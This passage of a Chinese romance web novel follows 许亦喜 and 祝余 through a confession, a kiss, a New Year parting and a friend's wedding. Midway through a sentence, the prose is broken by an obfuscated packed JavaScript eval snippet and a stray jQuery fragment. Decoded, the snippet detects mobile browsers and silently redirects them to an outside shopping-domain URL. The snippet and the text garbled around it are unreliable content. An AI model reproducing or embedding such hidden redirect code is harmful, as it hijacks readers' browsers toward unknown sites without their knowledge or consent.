陈立行还是那副标准化的微笑,“是的,我想他现在不仅愿意见你,而且……”
“陈立行,你还想和学姐和好吗?”祝余突然开口,打断陈立行的话,言语中暗暗威胁。
陈立行也点到为止,他的目的已经达到,其他的事情就不瞎掺和了。
陈立行马上对许亦喜改口,试图蒙混过去:“我已经把你的联系方式给了他,我相信他会联系你的。”
许亦喜笑着应下:“好啊,我等着他联系我。”
祝余和陈立行聊天不避着自己,一顿饭下来,许亦喜大致了解了陈立行和徐言希之间的爱恨情仇。到现在,陈立行心里还有对方,就是不知道徐言希是怎么想的。
许亦喜倒是觉得,男人只会影响徐言希的脚步,她一个人就能闯出一片天,不需要他人跑来添乱。
是的,许亦喜对陈立行这人的整体印象并不是很好。
之前因打官司认识,陈立行专业方面没得说,然而听他和祝余的闲聊,许亦喜觉得这人聪慧有余、稳重不足,对比徐言希的雷厉风行,她大概能猜到当初两人分手的原因。
不过这都和许亦喜没什么关系,她作为一个旁观者,也只是在心里自我分析一番,不会傻到说出口。
喝了点酒,加上再次见到徐言希,陈立行情绪上头,走出拾味小食后脚步不稳,祝余眼疾手快扶住他,才不至于让他在门口摔了跟头。
“兄弟,你说,我到底哪里不好,这么多年了,她为什么还是不肯搭理我……”
“你哪里都好,你哪里都不好。”
“我长得不好看吗?我没有钱吗?”
“不好看,没她有钱。”
“……”
陈立行醉话连篇,祝余胡乱应答,许亦喜抿唇暗笑。
将陈立行送回家安顿好后,祝余长叹了口气,他看向许亦喜,两人都笑了起来,有种如释重负的感觉。
“我们聊聊?”许亦喜看着祝余,手指了指外面。两人来到制作老陈醋可乐的那间房屋门口。
醋坊也没开工,门还上着锁,许亦喜和祝余就直接坐到台阶上。
“阿喜,很抱歉,我有件事一直没和你说。”确定关系后的第二天,祝余就改变了对许亦喜的称呼,也叫她的小名阿喜,还承认了当初对王谦的醋意。
许亦喜没说话,眼神示意他继续说下去。
“其实我很早就认识你了,在你做唱歌主播的时候。”祝余回想起那时,先是被许亦喜的歌声所吸引,然后逐渐对她这个人产生兴趣,那时候还不敢承认,每次许亦喜提出见面,他都找各种理由拒绝,或者干脆玩消失。
拒绝到最后,他终于鼓起勇气打算在许亦喜解约之后和她见面,却被祝霆骁控制在家里。
两人始终没能以半夏和王子绪的身份见上一面。
不过兜兜转转,两个人还是走到了一起,这大概就是命中注定。从遇到许亦喜的那刻起,祝余开始相信缘分。
祝余坦白完身份,将手平摊到许亦喜面前,像犯了错的小孩等待接受大人的惩罚,“阿喜,这件事情瞒着你是我的不对,我想找个合适的机会说来着,但一直没找到。”
“不,这不能成为瞒着你的理由。你打我吧,不要生气好吗?”祝余眼睛原本狭长,此刻睁得圆润,配上略带委屈的表情,许亦喜哪里忍心下手。
许亦喜将自己的手覆在祝余的双手之上,轻声开口:“我没有生气,那个时候的王子绪给了半夏很多帮助,我感谢你还来不及,又怎么会怪你。”
祝余握住许亦喜的手,“你见到陈立行的时候就猜到了对不对?”
“那可不,你俩的表现不要太明显哦。”其实许亦喜早在面馆重新开业那会儿就有所怀疑,还有祝余那个熟悉的头像,陈立行的出现只是一个印证。
“你还有什么其他事情瞒着我吗?”许亦喜突然发问。
祝余在脑海中快速回想,对天发誓:“没有了。”
“真的吗?”
“真的没有!”
“确定吗?”
“确定没有!”
看着祝余一本正经的样子,许亦喜噗嗤一声笑了出来。祝余反应过来,紧紧抱住许亦喜,头埋进她颈肩,用力拱着,咬牙切齿:“逗我好玩吗?”
“好玩。”
回应许亦喜的是痒痒战术。
许亦喜笑到眼泪快要出来,她求饶:“不逗了不逗了,不好玩……”
祝余低笑,暂时停止对她的进攻。许亦喜也笑累了,靠在祝余肩膀上。
清水镇年味浓,几乎每天都能听到远处传来的敲锣打鼓声。“咚咚”的鼓声厚重有力,“锵锵”的锣声清脆响耳,二者结合在一起此起彼伏。
祝余看着怀中的许亦喜,心跳突然随着锣鼓声加快,许亦喜这时也抬眼看来,两人对视,情意汹涌。
祝余低头,慢慢靠近,两人同时闭上眼睛,轻轻触碰,柔软绵长。
相聚的时光总是短暂,初七一过,打工人再度背井离乡,家家户户门口都在上演依依不舍。
初八这天,祝余要去省城处理事情,顺便把陈立行带回去。
陈立行死皮赖脸在祝家待了几天,结果祝余只有早晚能够见到他,白天完全不见人影。陈立行到底干嘛去了,大家都心知肚明。
许亦喜赶来醋坊门口送祝余,两人手拉着手,说着悄悄话。
祝余撒娇:“阿喜,我不想走。”
“总不能不工作吧。”
“那我要是想你了怎么办?”
“打电话?”
“不,要打视频。”
“要打视频~”陈立行收拾完东西出来,正好听到这句话,怪声怪气模仿起来。
祝余一记飞刀过去,陈立行笑得暧昧,左扭右扭,假装起了一身鸡皮疙瘩,动作夸张。
再不舍也得走了,祝余坐到车里,陈立行正要开副驾驶的门,被祝余厉声制止:“坐后边去。”
陈立行不听,祝余直接锁了前门,他这才骂骂咧咧去了后面,坐进去,按下车窗,向许亦喜告状。
“阿喜妹妹,你当初是怎么看上祝余的?是不是他骗你的?是的话就眨眨眼。”
许亦喜当然是和祝余一条心,她回道:“我们是两情相悦,陈律师,你可不要自己追不上言希姐,就来搞破坏。”
“就是,你这就是典型的吃不到葡萄说葡萄酸。”祝余妇唱夫随。
陈立行无奈,扶额苦笑:“啧啧啧,热恋中的小情侣就是不一样啊。”
祝余开车上路,许亦喜目送他转弯消失才离开。
回到面馆,小周凑了上来,问:“阿喜姐,谦哥给你发消息没?”
许亦喜点开聊天软件,和王谦的聊天记录还停留在初一那天发的祝福上,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17954305|213850||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
摇头说:“没有。”
“啊?这是他刚给我发的。”小周把自己的手机递给许亦喜,上面是王谦发给他的消息:小周,我要结婚了,下个月初六,在京市xx大饭店,有空就来玩。后面附带一份结婚请柬,新娘是安若宁。
小周感到疑惑:“谦哥这才刚被调到京市,还没稳定下来就突然要结婚了?我不理解,不过还是祝福他。”
王谦所在的旅行社年前有一次调岗机会,去京市的总公司,王谦被一致推举,也算是高升,今天过年也是在京市过的,自从走后就没有回来。
许亦喜将手机还给小周,她的手机在这时刚好来了消息,安若宁发的,是一封请柬,并附带留言:许亦喜,我和王谦要结婚啦,下个月你一定要来哦。
许亦喜回复:恭喜你们呀,我一定去!
得知两位好朋友走到一起,虽然有些突然,但许亦喜还是感到很高兴,王谦也算是如愿以偿,安若宁也会一直幸福下去。
婚礼前一天,许亦喜和小周从北城出发去了京市。到了酒店入住后,许亦喜给爸妈和祝余报了平安。
草莓味的鱼:你把地址发我,明天结束了我就去接你。
祝余这两天正好就在京市谈项目,可以把许亦喜接回北城,顺便两人可以小聚一下。
许亦喜:(酒店定位)
许亦喜:明天把小周也顺路带回去吧?
草莓味的鱼:NO,不要电灯泡。
许亦喜:……
许亦喜:把他送到车站就行,我在北城陪你几天?
草莓味的鱼:行。
许亦喜失笑,这次倒是答应得痛快。
第二天,安若宁和王谦的婚礼进行得很顺利,规模不大,只邀请了双方关系较近的亲友。
许亦喜在席间听其他宾客说,王谦算是上门女婿,早就辞了旅行社的工作,进了安氏集团帮忙。
小周在一旁也听了进去,喝酒感叹:“谦哥真是苦尽甘来。”
虽然这段关系有些不对等,但安若宁的为人许亦喜了解,王谦只会越过越好,这也是她所希望看到的。
安若宁和王谦过来敬酒,小周举杯:“谦哥,宁姐,祝你们百年好合,早生贵子。”
“谢谢小周。”
接着是许亦喜:“若宁,王谦,祝福你们有情人终成眷属。”
王谦:“阿喜,谢谢你……”
安若宁:“谢谢宝贝,也希望能早日喝到你的喜酒哦。”
许亦喜笑着干杯。
王谦看着许亦喜将杯中之酒一饮而尽,他也终于释然,走向下一桌。和过去告别,他要开始新生活了。
心之所属难成归途,目之所及才是前方。
小周酒量好,喝多少杯都醉不了,许亦喜正相反,刚一杯下肚,头就有些晕乎,但还是强撑着等来了祝余。
祝余从小周手里接过许亦喜,将她稳稳固定在副驾驶上,许亦喜一闻到熟悉的味道便安心睡了过去。
祝余先将小周送到北城车站,然后掉头前往他在北城的住所。
车子停好,许亦喜还没醒来,祝余轻笑:“你这酒量也太差了。”
睡梦中的许亦喜似是听到,微微皱眉,略带不满,祝余哑然失笑,将人从车里抱出。
怀中的许亦喜微红着脸,睡颜恬静,十分美好。
祝余忍不住俯身亲吻。